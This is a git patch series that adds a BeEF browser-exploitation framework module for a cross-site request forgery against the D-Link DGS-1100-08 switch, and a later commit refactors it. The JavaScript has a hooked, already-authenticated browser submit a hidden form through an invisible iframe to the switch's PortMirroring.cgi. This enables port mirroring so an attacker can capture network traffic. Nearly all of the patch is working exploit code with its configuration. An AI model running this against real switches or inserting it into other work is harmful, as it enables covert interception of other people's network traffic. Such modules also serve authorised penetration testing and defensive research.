From e62c8b33161642e00ba203eecb64b803b9a807d2 Mon Sep 17 00:00:00 2001 From: Nicholas Starke Date: Thu, 23 Feb 2017 19:26:43 -0600 Subject: [PATCH 1/2] Adding DLink DGS 1100 Port Mirroring module --- .../dlink_dgs_1100_port_mirroring/command.js | 61 +++++++++++++++++++ .../dlink_dgs_1100_port_mirroring/config.yaml | 15 +++++ .../dlink_dgs_1100_port_mirroring/module.rb | 20 ++++++ 3 files changed, 96 insertions(+) create mode 100644 modules/exploits/switch/dlink_dgs_1100_port_mirroring/command.js create mode 100644 modules/exploits/switch/dlink_dgs_1100_port_mirroring/config.yaml create mode 100644 modules/exploits/switch/dlink_dgs_1100_port_mirroring/module.rb diff --git a/modules/exploits/switch/dlink_dgs_1100_port_mirroring/command.js b/modules/exploits/switch/dlink_dgs_1100_port_mirroring/command.js new file mode 100644 index 000000000..b3b807c25 --- /dev/null +++ b/modules/exploits/switch/dlink_dgs_1100_port_mirroring/command.js @@ -0,0 +1,61 @@ +// +// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + // Hooked browser must be authenticated to switch. + var base = '<%= @base %>'; + var totalports = parseInt('<%= @totalports %>'); + var mirrorport = parseInt('<%= @mirrorport %>'); + + var dlink_dgs_iframe = beef.dom.createInvisibleIframe(); + + var form = document.createElement('form'); + form.setAttribute('action', base + "/cgi/PortMirroring.cgi"); + form.setAttribute('method', 'POST'); + + var input = null; + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'cEn'); + input.setAttribute('value', 1); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'sTagP'); + input.setAttribute('value', mirrorport); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'sMode'); + input.setAttribute('value', 2); + form.appendChild(input); + + var mask = ''; + for (var i = 1; i <= totalports; i++) { + mask += i == mirrorport ? "0" : "1"; + } + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'SrcLst'); + input.setAttribute('value', mask); + form.appendChild(input); + + dlink_dgs_iframe.contentWindow.document.body.appendChild(form); + form.submit(); + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); + + cleanup = function() { + document.body.removeChild(dlink_dgs_iframe); + } + + setTimeout("cleanup()", 15000); +}); + diff --git a/modules/exploits/switch/dlink_dgs_1100_port_mirroring/config.yaml b/modules/exploits/switch/dlink_dgs_1100_port_mirroring/config.yaml new file mode 100644 index 000000000..d164f2195 --- /dev/null +++ b/modules/exploits/switch/dlink_dgs_1100_port_mirroring/config.yaml @@ -0,0 +1,15 @@ +# +# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + Dlink_dgs_1100_port_mirroring_csrf: + enable: true + category: ["Exploits", "Switch"] + name: "DLINK DGS 1100-08 Port Mirroring CSRF" + description: "Enables port mirroring on a specified switch port" + authors: ["Nick Starke"] + target: + working: ["ALL"] diff --git a/modules/exploits/switch/dlink_dgs_1100_port_mirroring/module.rb b/modules/exploits/switch/dlink_dgs_1100_port_mirroring/module.rb new file mode 100644 index 000000000..84cb4eeca --- /dev/null +++ b/modules/exploits/switch/dlink_dgs_1100_port_mirroring/module.rb @@ -0,0 +1,20 @@ +# +# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class Dlink_dgs_1100_port_mirroring_csrf < BeEF::Core::Command + + def self.options + return [ + {'name' => 'base', 'ui_label' => 'Switch web root', 'value' => 'http://10.90.90.90'}, + {'name' => 'mirrorport', 'ui_label' => 'Switch port to mirror traffic on', 'value' => 1}, + {'name' => 'totalports', 'ui_label' => 'Total number of ports on switch', 'value' => 8} + ] + end + + def post_execute + save({'result' => @datastore['result']}) + end + +end From a71030efa6ee9d4bc7db2941afd047eaadd30c4f Mon Sep 17 00:00:00 2001 From: Nicholas Starke Date: Sat, 25 Feb 2017 07:51:37 -0600 Subject: [PATCH 2/2] Converting to use XsrfForm --- .../dlink_dgs_1100_port_mirroring/command.js | 40 +++---------------- 1 file changed, 6 insertions(+), 34 deletions(-) diff --git a/modules/exploits/switch/dlink_dgs_1100_port_mirroring/command.js b/modules/exploits/switch/dlink_dgs_1100_port_mirroring/command.js index b3b807c25..65fa2a18a 100644 --- a/modules/exploits/switch/dlink_dgs_1100_port_mirroring/command.js +++ b/modules/exploits/switch/dlink_dgs_1100_port_mirroring/command.js @@ -10,45 +10,17 @@ beef.execute(function() { var totalports = parseInt('<%= @totalports %>'); var mirrorport = parseInt('<%= @mirrorport %>'); - var dlink_dgs_iframe = beef.dom.createInvisibleIframe(); - - var form = document.createElement('form'); - form.setAttribute('action', base + "/cgi/PortMirroring.cgi"); - form.setAttribute('method', 'POST'); - - var input = null; - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'cEn'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'sTagP'); - input.setAttribute('value', mirrorport); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'sMode'); - input.setAttribute('value', 2); - form.appendChild(input); - var mask = ''; for (var i = 1; i <= totalports; i++) { mask += i == mirrorport ? "0" : "1"; } - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'SrcLst'); - input.setAttribute('value', mask); - form.appendChild(input); - - dlink_dgs_iframe.contentWindow.document.body.appendChild(form); - form.submit(); + var dlink_dgs_iframe = beef.dom.createIframeXsrfForm(base + '/cgi/PortMirroring.cgi', 'POST', 'application/x-www-form-urlencoded', [ + { type: 'hidden', name: 'cEn', value: 1 }, + { type: 'hidden', name: 'sTagP', value: mirrorport }, + { type: 'hidden', name: 'sMode', value: 2 }, + { type: 'hidden', name: 'SrcLst', value: mask } + ]); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");